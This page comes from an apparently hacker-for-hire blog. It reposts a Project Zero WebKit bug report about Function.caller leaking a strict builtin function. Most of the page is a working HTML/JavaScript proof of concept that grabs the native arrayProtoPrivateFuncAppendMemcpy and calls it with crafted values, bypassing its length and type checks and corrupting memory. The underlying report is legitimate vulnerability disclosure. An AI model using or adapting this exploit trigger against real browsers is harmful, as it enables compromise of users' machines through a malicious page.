Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86377150

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1032

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the behavior in other browsers, where having a single strict function on the call stack forbids calls to Function.caller up to and including the first call to a strict function. This difference allows several sensitive native functions, such as arrayProtoPrivateFuncAppendMemcpy to be called directly, without the JavaScript wrappers that provide type and length checks.

A minimal example of this issue is as follows, and a full example is attached.

var q;
function g(){
	q = g.caller;
	return 7;
}


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);


I strongly recommend this issue be fixed by changing the behaviour of Function.caller in strict mode, versus making changes to the natives, as it likely causes many similar problems 
-->

<html>
<body>
<script>

var q;
function g(){
	//print("in g");
	//print(arguments.caller);
	//print(g.caller);
	q = g.caller;
	//print(g.caller);
	return 7;

}

var a = [1, 2, 3];

Object.defineProperty( Array.prototype, "1", { get : g} );


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});

[4, 5, 6].concat(a);
alert(q);
q(0x7777, 0x7777, 0);

</script>
</body>
</html>